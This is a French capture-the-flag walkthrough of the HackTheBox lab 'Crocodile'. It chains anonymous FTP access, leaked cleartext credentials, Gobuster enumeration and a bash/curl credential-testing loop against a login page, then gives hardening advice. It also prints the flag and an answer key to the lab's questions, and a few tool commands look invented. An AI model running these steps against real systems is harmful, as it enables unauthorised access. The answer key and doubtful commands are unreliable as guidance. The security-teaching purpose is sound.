Crocodile
Vue d'ensemble
Crocodile est un challenge du Tier 1 du Starting Point de HackTheBox qui combine plusieurs techniques d'énumération et illustre un scénario d'attaque réaliste basé sur la chaîne d'exploitation. Ce challenge met en lumière l'importance de l'énumération exhaustive de tous les services disponibles et la réutilisation de credentials découverts sur différents services.
Objectifs pédagogiques
- Énumération multi-services : Scanner et identifier plusieurs services ouverts
- FTP anonyme : Exploiter l'accès FTP sans authentification
- Web enumeration : Utiliser Gobuster pour découvrir des ressources cachées
- Technology fingerprinting : Identifier les technologies avec Wappalyzer
- Credential reuse : Réutiliser des credentials trouvés sur un service pour en compromettre un autre
- Chain exploitation : Comprendre comment enchaîner plusieurs vecteurs d'attaque
Informations du challenge
- Nom : Crocodile
- OS : Linux
- Difficulté : Très facile
- Points : 10
- Tier : 1
Scénario
Le serveur cible expose deux services : un serveur FTP et un serveur web Apache. L'accès FTP anonyme révèle des fichiers contenant des listes d'utilisateurs et de mots de passe. En parallèle, l'énumération web découvre une page de login. La combinaison de ces informations permet d'accéder à un panel d'administration où se trouve le flag.
Concepts techniques
Protocole FTP (File Transfer Protocol)
FTP est un protocole réseau standard utilisé pour le transfert de fichiers entre un client et un serveur sur un réseau TCP.
Caractéristiques principales :
- Port standard : 21 (contrôle), 20 (données en mode actif)
- Architecture : Client-serveur
- Modes de connexion : Actif et Passif
- Authentification : Username/Password (par défaut) ou anonyme
Architecture FTP :
┌──────────────┐ ┌──────────────┐
│ │ Connexion contrôle (Port 21) │ │
│ Client │ ────────────────────────────────> │ Serveur │
│ FTP │ │ FTP │
│ │ Connexion données (Port 20/random)│ │
│ │ <────────────────────────────────> │ │
└──────────────┘ └──────────────┘
Accès FTP Anonyme
L'accès anonyme FTP est une mauvaise configuration courante qui permet à n'importe qui de se connecter sans credentials valides.
Fonctionnement :
- Username :
anonymousouftp - Password : n'importe quelle valeur (souvent une adresse email par convention)
- Risque : Exposition de fichiers sensibles, upload de fichiers malveillants
Commandes FTP essentielles :
# Connexion
ftp <target_ip>
# Lister les fichiers
ls
dir
# Naviguer
cd <directory>
# Télécharger un fichier
get <filename>
# Télécharger plusieurs fichiers
mget *.txt
# Mode binaire/ASCII
binary
ascii
# Quitter
bye
quit
Énumération Web avec Gobuster
Gobuster est un outil de brute-force pour découvrir des URIs (répertoires et fichiers) et des sous-domaines sur des serveurs web.
Fonctionnement :
- Utilise une wordlist pour tester des chemins potentiels
- Envoie des requêtes HTTP et analyse les codes de réponse
- Identifie les ressources accessibles mais non liées
Syntaxe de base :
gobuster dir -u http://<target> -w <wordlist>
Options utiles :
| Option | Description |
|---|---|
-u | URL cible |
-w | Wordlist à utiliser |
-x | Extensions de fichiers à rechercher |
-t | Nombre de threads (défaut: 10) |
-s | Codes de statut à afficher |
-k | Ignorer les certificats SSL invalides |
Wordlists communes :
/usr/share/wordlists/dirb/common.txt/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt/usr/share/seclists/Discovery/Web-Content/common.txt
Wappalyzer
Wappalyzer est un outil de technology profiling qui identifie les technologies utilisées par un site web.
Informations détectées :
- Serveurs web (Apache, Nginx, IIS)
- Frameworks (Laravel, Django, React)
- Langages (PHP, Python, JavaScript)
- CMS (WordPress, Joomla, Drupal)
- Systèmes d'exploitation
- Bases de données
- CDN et services tiers
Utilisation :
- Extension de navigateur (Chrome, Firefox)
- CLI :
wappalyzer <url> - API pour automatisation
Credential Reuse Attack
La réutilisation de credentials est une technique d'attaque où des identifiants découverts sur un service sont testés sur d'autres services.
Scénario typique :
- Découverte de credentials sur un service moins sécurisé (FTP, backup, fichier exposé)
- Test de ces credentials sur des services plus sensibles (SSH, admin web, VPN)
- Accès non autorisé grâce à la réutilisation
Pourquoi ça fonctionne :
- Les utilisateurs réutilisent souvent les mêmes mots de passe
- Les administrateurs stockent parfois tous les credentials au même endroit
- Manque de segmentation entre les services
Prévention :
- Utiliser des mots de passe uniques par service
- Gestionnaires de mots de passe
- Authentification multi-facteurs (MFA)
- Rotation régulière des credentials
Chain Exploitation
L'exploitation en chaîne consiste à combiner plusieurs vulnérabilités ou vecteurs d'attaque pour atteindre l'objectif final.
Exemple de chaîne d'attaque :
┌─────────────────┐
│ 1. Enumération │
│ (Nmap scan) │
└────────┬────────┘
│
▼
┌─────────────────┐ ┌──────────────────┐
│ 2. FTP Anonyme │────>│ 3. Download files│
│ (Port 21) │ │ (credentials) │
└─────────────────┘ └────────┬─────────┘
│
▼
┌─────────────────┐ ┌──────────────────┐
│ 4. Web Enum │────>│ 5. Find /login │
│ (Gobuster) │ │ (admin panel) │
└─────────────────┘ └────────┬─────────┘
│
▼
┌──────────────────┐
│ 6. Credential │
│ Reuse Attack │
└────────┬─────────┘
│
▼
┌──────────────────┐
│ 7. Admin Access │
│ (Flag capture) │
└──────────────────┘
Phase 1 : Reconnaissance et énumération
Scan réseau avec Nmap
La première étape consiste à identifier les services ouverts sur la cible :
nmap -sV -sC <target_ip>
Explication des options :
-sV: Détection de version des services-sC: Exécution des scripts NSE par défaut
Résultats attendus :
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for <target_ip>
Host is up (0.045s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 ftp ftp 33 Jun 08 2021 allowed.userlist
| -rw-r--r-- 1 ftp ftp 62 Apr 20 2021 allowed.userlist.passwd
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:<your_ip>
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Smash - Bootstrap Business Template
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 8.72 seconds
Analyse des résultats :
-
Port 21 (FTP) :
- Service : vsftpd 3.0.3
- CRITIQUE : Anonymous FTP login allowed
- Fichiers visibles :
allowed.userlistetallowed.userlist.passwd
-
Port 80 (HTTP) :
- Serveur : Apache httpd 2.4.41
- OS : Ubuntu
- Page d'accueil : "Smash - Bootstrap Business Template"
Analyse du service FTP
Le script NSE ftp-anon a révélé que l'accès anonyme est activé et que deux fichiers suspects sont présents.
Vecteur d'attaque identifié :
- Connexion FTP anonyme
- Téléchargement des fichiers de credentials
- Extraction des usernames et passwords
Phase 2 : Exploitation FTP
Connexion anonyme
Connectez-vous au serveur FTP en utilisant le compte anonymous :
ftp <target_ip>
Session FTP :
Connected to <target_ip>.
220 (vsFTPd 3.0.3)
Name (<target_ip>:kali): anonymous
331 Please specify the password.
Password: [Appuyez sur Entrée]
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
Énumération des fichiers
Listez le contenu du serveur FTP :
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 ftp ftp 33 Jun 08 2021 allowed.userlist
-rw-r--r-- 1 ftp ftp 62 Apr 20 2021 allowed.userlist.passwd
226 Directory send OK.
Téléchargement des fichiers
Téléchargez les deux fichiers :
ftp> get allowed.userlist
local: allowed.userlist remote: allowed.userlist
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for allowed.userlist (33 bytes).
226 Transfer complete.
33 bytes received in 0.00 secs (157.4 kB/s)
ftp> get allowed.userlist.passwd
local: allowed.userlist.passwd remote: allowed.userlist.passwd
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for allowed.userlist.passwd (62 bytes).
226 Transfer complete.
62 bytes received in 0.00 secs (287.3 kB/s)
ftp> bye
221 Goodbye.
Analyse des fichiers téléchargés
Contenu de allowed.userlist :
cat allowed.userlist
aron
pwnmeow
egotisticalsw
admin
Contenu de allowed.userlist.passwd :
cat allowed.userlist.passwd
root
Supersecretpassword1
@BaASD&9032123sADS
rKXM59ESxesUFHAd
Credentials découverts :
| Username | Password potentiel |
|---|---|
| aron | root |
| pwnmeow | Supersecretpassword1 |
| egotisticalsw | @BaASD&9032123sADS |
| admin | rKXM59ESxesUFHAd |
:::note
Les noms de fichiers suggèrent que ces listes correspondent (allowed.userlist et allowed.userlist.passwd), mais l'ordre exact n'est pas garanti. Il faudra tester différentes combinaisons.
:::
Phase 3 : Énumération Web
Exploration initiale
Visitez le site web dans un navigateur :
http://<target_ip>
La page affiche un template Bootstrap "Smash" - un site vitrine générique. Aucune fonctionnalité de login n'est visible en navigation normale.
Technology Fingerprinting avec Wappalyzer
Utilisez l'extension Wappalyzer pour identifier les technologies :
Technologies détectées :
- Web server : Apache 2.4.41
- Operating system : Ubuntu
- Programming language : PHP
- JavaScript libraries : jQuery
- UI framework : Bootstrap
Conclusion : Le site utilise PHP, ce qui signifie que des pages .php peuvent exister même si elles ne sont pas liées.
Directory Enumeration avec Gobuster
Lancez Gobuster pour découvrir des répertoires et fichiers cachés :
gobuster dir -u http://<target_ip> -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
Explication :
dir: Mode directory/file enumeration-u: URL cible-w: Wordlist à utiliser-x: Extensions à rechercher (php, html, txt)
Résultats :
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://<target_ip>
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,html,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 276]
/.hta.php (Status: 403) [Size: 276]
/.hta.html (Status: 403) [Size: 276]
/.hta.txt (Status: 403) [Size: 276]
/.htaccess (Status: 403) [Size: 276]
/.htaccess.php (Status: 403) [Size: 276]
/.htaccess.html (Status: 403) [Size: 276]
/.htaccess.txt (Status: 403) [Size: 276]
/.htpasswd (Status: 403) [Size: 276]
/.htpasswd.php (Status: 403) [Size: 276]
/.htpasswd.html (Status: 403) [Size: 276]
/.htpasswd.txt (Status: 403) [Size: 276]
/assets (Status: 301) [Size: 313] [--> http://<target_ip>/assets/]
/css (Status: 301) [Size: 310] [--> http://<target_ip>/css/]
/dashboard (Status: 301) [Size: 316] [--> http://<target_ip>/dashboard/]
/fonts (Status: 301) [Size: 312] [--> http://<target_ip>/fonts/]
/index.html (Status: 200) [Size: 58565]
/js (Status: 301) [Size: 309] [--> http://<target_ip>/js/]
/login.php (Status: 200) [Size: 1577]
/logout.php (Status: 302) [Size: 0] [--> login.php]
/server-status (Status: 403) [Size: 276]
Progress: 18456 / 18460 (99.98%)
===============================================================
Finished
===============================================================
Découverte importante :
/login.php: Page de login (Status 200)/dashboard: Répertoire protégé (Status 301)/logout.php: Page de déconnexion (redirige vers login.php)
Accès à la page de login
Visitez la page découverte :
http://<target_ip>/login.php
Vous trouvez un formulaire d'authentification avec :
- Champ Username
- Champ Password
- Bouton Login
Phase 4 : Credential Reuse Attack
Stratégie de test
Nous avons 4 usernames et 4 passwords découverts sur le FTP. La stratégie consiste à :
- Tester d'abord les combinaisons logiques (ligne par ligne des fichiers)
- Si ça ne fonctionne pas, tester toutes les combinaisons possibles
- Prioriser le compte
adminqui a le plus de chances d'avoir accès au dashboard
Test des credentials
Tentative 1 : admin / rKXM59ESxesUFHAd
Remplissez le formulaire :
- Username :
admin - Password :
rKXM59ESxesUFHAd
Cliquez sur Login.
Résultat : ✅ Connexion réussie !
La page redirige vers /dashboard/ et affiche un panel d'administration.
Accès au Dashboard
Une fois authentifié, vous accédez à un tableau de bord administrateur qui affiche :
- Informations système
- Statistiques
- Le flag du challenge
Flag visible :
c7110277ac44d78b6a9fff2232434d16
Validation du flag
Soumettez le flag sur la plateforme HackTheBox pour valider le challenge.
echo "c7110277ac44d78b6a9fff2232434d16" | wc -c
# Vérification : 32 caractères (format MD5 standard)
Analyse Post-Exploitation
Chaîne d'attaque récapitulative
Le succès de cette compromission repose sur l'enchaînement de plusieurs faiblesses :
1. FTP Anonyme activé
└─> Accès sans authentification au serveur FTP
│
2. Fichiers sensibles exposés
└─> Téléchargement de listes de credentials
│
3. Absence d'obfuscation des ressources web
└─> Découverte de /login.php par énumération
│
4. Réutilisation de credentials
└─> Les mêmes credentials FTP utilisés pour l'admin web
│
5. Absence de protection supplémentaire
└─> Pas de rate limiting, MFA, ou CAPTCHA
│
6. Accès administrateur complet
└─> Compromission totale du panel d'administration
Vulnérabilités identifiées
-
FTP Anonymous Login :
- Permet à n'importe qui d'accéder aux fichiers
- CVSS Base Score : 5.3 (Medium)
- CWE-287: Improper Authentication
-
Sensitive Data Exposure :
- Stockage de credentials en clair sur FTP
- CVSS Base Score : 7.5 (High)
- CWE-312: Cleartext Storage of Sensitive Information
-
Credential Reuse :
- Mêmes credentials utilisés sur plusieurs services
- CVSS Base Score : 6.5 (Medium)
- CWE-257: Storing Passwords in a Recoverable Format
-
No Rate Limiting :
- Permet le brute-force sans restriction
- CVSS Base Score : 5.3 (Medium)
- CWE-307: Improper Restriction of Excessive Authentication Attempts
-
Security Through Obscurity :
- Ressources sensibles non liées mais découvrables
- CVSS Base Score : 4.3 (Medium)
- CWE-656: Reliance on Security Through Obscurity
Bonnes pratiques de sécurité
Sécurisation du service FTP
Désactiver l'accès anonyme :
Configuration vsftpd (/etc/vsftpd.conf) :
# Désactiver l'accès anonyme
anonymous_enable=NO
# Permettre uniquement les utilisateurs locaux
local_enable=YES
# Empêcher les utilisateurs de sortir de leur répertoire home
chroot_local_user=YES
# Utiliser SSL/TLS
ssl_enable=YES
require_ssl_reuse=NO
ssl_ciphers=HIGH
Alternatives modernes :
- SFTP (SSH File Transfer Protocol) - chiffrement natif
- FTPS (FTP over SSL/TLS) - version sécurisée de FTP
- SCP (Secure Copy Protocol) - transfert sécurisé simple
Gestion sécurisée des credentials
Principes fondamentaux :
-
Never store credentials in plain text :
# ❌ Mauvais echo "admin:password123" > credentials.txt # ✅ Bon - utiliser un gestionnaire de secrets vault kv put secret/webapp username=admin password=<complex> -
One password per service :
- Chaque service doit avoir ses propres credentials uniques
- Utiliser un gestionnaire de mots de passe (1Password, Bitwarden, etc.)
-
Password complexity requirements :
- Minimum 12 caractères
- Mélange de majuscules, minuscules, chiffres, symboles
- Pas de mots du dictionnaire
-
Hash passwords properly :
// ❌ Mauvais $hash = md5($password); // ✅ Bon $hash = password_hash($password, PASSWORD_ARGON2ID);
Sécurisation de l'authentification web
Mesures de protection :
-
Rate Limiting :
// Limiter à 5 tentatives par 15 minutes if (login_attempts > 5 && time_since_first_attempt < 900) { sleep(2); // Ralentir les tentatives return "Too many attempts. Try again later."; } -
Multi-Factor Authentication (MFA) :
- TOTP (Time-based One-Time Password) avec Google Authenticator
- SMS/Email verification codes
- Hardware tokens (YubiKey)
-
CAPTCHA :
- Google reCAPTCHA v3
- hCaptcha
- Cloudflare Turnstile
-
Account Lockout :
if failed_attempts >= 3: account.locked = True account.unlock_time = now() + timedelta(minutes=30) send_email_notification(account.email) -
Session Management :
// Régénérer l'ID de session après login session_regenerate_id(true); // Définir des cookies sécurisés session_set_cookie_params([ 'lifetime' => 0, 'path' => '/', 'domain' => 'example.com', 'secure' => true, // HTTPS only 'httponly' => true, // No JavaScript access 'samesite' => 'Strict' // CSRF protection ]);
Sécurisation du serveur web
Apache security hardening :
# Désactiver le listing de répertoires
<Directory /var/www/html>
Options -Indexes
</Directory>
# Masquer la version du serveur
ServerTokens Prod
ServerSignature Off
# Protéger les fichiers sensibles
<FilesMatch "^\.">
Require all denied
</FilesMatch>
# Headers de sécurité
Header always set X-Frame-Options "DENY"
Header always set X-Content-Type-Options "nosniff"
Header always set X-XSS-Protection "1; mode=block"
Header always set Strict-Transport-Security "max-age=31536000"
Header always set Content-Security-Policy "default-src 'self'"
# Limiter les méthodes HTTP
<Directory /var/www/html>
<LimitExcept GET POST>
Require all denied
</LimitExcept>
</Directory>
Web Application Security
Protection contre les attaques courantes :
-
SQL Injection :
// Utiliser des requêtes préparées $stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?"); $stmt->execute([$username, $hashed_password]); -
XSS (Cross-Site Scripting) :
// Échapper les sorties echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8'); -
CSRF (Cross-Site Request Forgery) :
// Tokens CSRF $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); -
Path Traversal :
// Valider les chemins de fichiers $file = basename($_GET['file']); // Retire les ../
Network Segmentation
Isoler les services selon leur niveau de sensibilité :
┌─────────────────────────────────────────────┐
│ Internet (Untrusted) │
└────────────────┬────────────────────────────┘
│
┌───────▼────────┐
│ Firewall │
│ (WAF) │
└───────┬────────┘
│
┌────────────┴────────────┐
│ │
┌───▼────┐ ┌─────▼─────┐
│ DMZ │ │ Internal │
│ │ │ Network │
│ - Web │ │ │
│ - FTP │ │ - DB │
│ (pub) │ │ - Admin │
└────────┘ └───────────┘
10.0.1.0/24 10.0.2.0/24
Monitoring et Logging
Événements à logger :
import logging
# Tentatives de connexion
logger.info(f"Login attempt: username={username}, ip={client_ip}")
# Échecs d'authentification
logger.warning(f"Failed login: username={username}, ip={client_ip}")
# Accès FTP anonyme
logger.warning(f"Anonymous FTP access from {client_ip}")
# Énumération détectée
if requests_per_minute > 100:
logger.critical(f"Possible enumeration from {client_ip}")
SIEM Integration :
- Splunk
- ELK Stack (Elasticsearch, Logstash, Kibana)
- Graylog
- OSSEC
Vulnerability Scanning
Outils recommandés :
# Scan Nessus
nessus-scan --target <ip> --policy "Web Application Tests"
# OWASP ZAP
zap-cli quick-scan -s xss,sqli http://<target>
# Nikto
nikto -h http://<target> -Tuning 123456
# OpenVAS
openvas-scan --target <ip> --config "Full and fast"
Outils et ressources
Outils utilisés dans ce challenge
| Outil | Usage | Installation |
|---|---|---|
| Nmap | Scan de ports et détection de services | sudo apt install nmap |
| FTP client | Connexion au serveur FTP | sudo apt install ftp |
| Gobuster | Énumération de répertoires web | sudo apt install gobuster |
| Wappalyzer | Technology fingerprinting | Extension navigateur |
| cURL | Tests HTTP manuels | sudo apt install curl |
Commandes essentielles
Nmap - Scan complet :
# Scan de base
nmap -sV -sC <target>
# Scan agressif
nmap -A -p- -T4 <target>
# Scan avec scripts NSE spécifiques
nmap --script ftp-anon,ftp-vuln-cve2010-4221 -p 21 <target>
FTP - Manipulation de fichiers :
# Connexion anonyme
ftp <target>
# Username: anonymous
# Password: [vide]
# Lister les fichiers
ls -la
# Télécharger tous les fichiers
mget *
# Mode passif (si problèmes de connexion)
passive
Gobuster - Variations d'énumération :
# Répertoires uniquement
gobuster dir -u http://<target> -w /usr/share/wordlists/dirb/common.txt
# Avec extensions PHP
gobuster dir -u http://<target> -w /usr/share/wordlists/dirb/common.txt -x php
# Mode récursif
gobuster dir -u http://<target> -w /usr/share/wordlists/dirb/common.txt -r
# Avec authentification
gobuster dir -u http://<target> -w /usr/share/wordlists/dirb/common.txt -U admin -P password
# DNS subdomain enumeration
gobuster dns -d example.com -w /usr/share/wordlists/dnsmap.txt
Wordlists utiles
Emplacement sur Kali Linux :
# Wordlists générales
/usr/share/wordlists/dirb/
/usr/share/wordlists/dirbuster/
# SecLists (à installer)
/usr/share/seclists/Discovery/Web-Content/
/usr/share/seclists/Passwords/
# Installation de SecLists
sudo apt install seclists
Wordlists recommandées :
| Fichier | Usage | Taille |
|---|---|---|
common.txt | Enumération rapide | ~4600 lignes |
directory-list-2.3-medium.txt | Enumération complète | ~220k lignes |
big.txt | Enumération extensive | ~20k lignes |
raft-large-directories.txt | Répertoires web | ~62k lignes |
Scripts d'automatisation
Script de test de credentials :
#!/bin/bash
# credential_test.sh
TARGET="http://<target_ip>/login.php"
USERLIST="allowed.userlist"
PASSLIST="allowed.userlist.passwd"
while IFS= read -r user; do
while IFS= read -r pass; do
echo "[*] Testing $user:$pass"
response=$(curl -s -X POST "$TARGET" \
-d "username=$user&password=$pass" \
-L -w "%{http_code}")
if [[ $response == *"dashboard"* ]]; then
echo "[+] SUCCESS! $user:$pass"
exit 0
fi
done < "$PASSLIST"
done < "$USERLIST"
echo "[-] No valid credentials found"
Usage :
chmod +x credential_test.sh
./credential_test.sh
Ressources d'apprentissage
Documentation officielle :
- vsftpd : https://security.appspot.com/vsftpd.html
- Apache HTTP Server : https://httpd.apache.org/docs/
- Gobuster : https://github.com/OJ/gobuster
- OWASP Top 10 : https://owasp.org/www-project-top-ten/
Cheat sheets :
- FTP Commands : https://www.serv-u.com/linux-ftp-server/commands
- Nmap NSE Scripts : https://nmap.org/nsedoc/
- Gobuster : https://cheatsheet.haax.fr/web-pentest/tools/gobuster/
Tutoriels et guides :
- OWASP Web Security Testing Guide
- HackTricks FTP Pentesting : https://book.hacktricks.xyz/network-services-pentesting/pentesting-ftp
- PortSwigger Web Security Academy
Questions du challenge
Voici les questions officielles du challenge Crocodile avec leurs réponses :
Question 1
What Nmap scanning switch employs the use of default scripts during a scan?
Réponse : -sC
Explication : Le flag -sC (ou --script=default) exécute les scripts NSE (Nmap Scripting Engine) par défaut pendant le scan. Ces scripts effectuent des vérifications courantes comme la détection de vulnérabilités connues, l'énumération de services, etc.
Question 2
What service version is found to be running on port 21?
Réponse : vsftpd 3.0.3
Explication : La commande nmap -sV révèle que le service FTP tournant sur le port 21 est vsftpd (Very Secure FTP Daemon) en version 3.0.3.
Question 3
What FTP code is returned to us for the "Anonymous FTP login allowed" message?
Réponse : 230
Explication : Le code FTP 230 signifie "User logged in, proceed". Il est retourné quand la connexion FTP anonyme réussit. C'est visible dans la sortie du script NSE ftp-anon.
Question 4
After connecting to the FTP server using the ftp client, what username do we provide when prompted to log in anonymously?
Réponse : anonymous
Explication : Pour se connecter en mode anonyme à un serveur FTP, on utilise le username anonymous (ou parfois ftp). Le mot de passe peut être vide ou n'importe quelle valeur.
Question 5
After connecting to the FTP server anonymously, what command can we use to download the files we find on the FTP server?
Réponse : get
Explication : La commande FTP get <filename> télécharge un fichier depuis le serveur vers la machine locale. Pour télécharger plusieurs fichiers, on peut utiliser mget.
Question 6
What is one of the higher-level languages in which the web application is written?
Réponse : PHP
Explication : Wappalyzer ou l'observation des fichiers découverts par Gobuster (login.php, logout.php) révèlent que le site utilise PHP.
Question 7
What is the name of a coin/token commonly used to authenticate web applications?
Réponse : cookie
Explication : Les cookies (HTTP cookies) sont des tokens envoyés par le serveur et stockés par le navigateur pour maintenir l'état de session et authentifier l'utilisateur entre les requêtes HTTP.
Question 8
What is the standard name for the file used to host a website in an Apache server?
Réponse : index.html
Explication : Par défaut, Apache cherche index.html (ou index.php) comme fichier principal d'un répertoire web.
Question 9
What is the name of a popular web application directory/file enumeration tool used in penetration testing?
Réponse : gobuster
Explication : Gobuster est un outil populaire de brute-force pour découvrir des URIs (répertoires et fichiers) et des sous-domaines. Autres alternatives : dirbuster, dirb, ffuf.
Question 10
Submit root flag
Réponse : c7110277ac44d78b6a9fff2232434d16
Explication : Le flag se trouve sur le dashboard admin accessible après avoir réussi à se connecter avec les credentials admin:rKXM59ESxesUFHAd découverts sur le serveur FTP.
Conclusion
Le challenge Crocodile illustre parfaitement une chaîne d'exploitation réaliste où plusieurs vecteurs d'attaque sont combinés pour compromettre un système. Les leçons clés à retenir sont :
Points clés
- Énumération exhaustive : Scanner tous les services disponibles et ne pas se limiter au premier vecteur trouvé
- Chain exploitation : Combiner les informations de différents services pour construire une attaque complète
- Credential reuse : Les credentials découverts sur un service peuvent être valides sur d'autres
- Web enumeration : Les ressources non liées peuvent être découvertes par brute-force
Compétences développées
- ✅ Scan réseau multi-services avec Nmap
- ✅ Exploitation de FTP anonyme
- ✅ Énumération web avec Gobuster
- ✅ Technology fingerprinting avec Wappalyzer
- ✅ Attaques par réutilisation de credentials
- ✅ Analyse de chaînes d'exploitation
Progression
Ce challenge marque une évolution importante par rapport au Tier 0 :
- Tier 0 : Exploitation d'un seul service avec une seule vulnérabilité
- Tier 1 : Combinaison de plusieurs services et techniques pour atteindre l'objectif
Next steps
Après avoir complété Crocodile, vous êtes prêt pour :
- Responder : Dernier challenge du Tier 1 avec SMB et NTLM
- Tier 2 : Challenges plus complexes avec exploitation de CVE
- Active Directory : Environnements Windows multi-machines
Ressources complémentaires
Félicitations pour avoir complété le challenge Crocodile ! 🐊
Vous maîtrisez maintenant les concepts d'énumération multi-services et de chain exploitation. Continuez votre apprentissage avec les prochains challenges du Starting Point.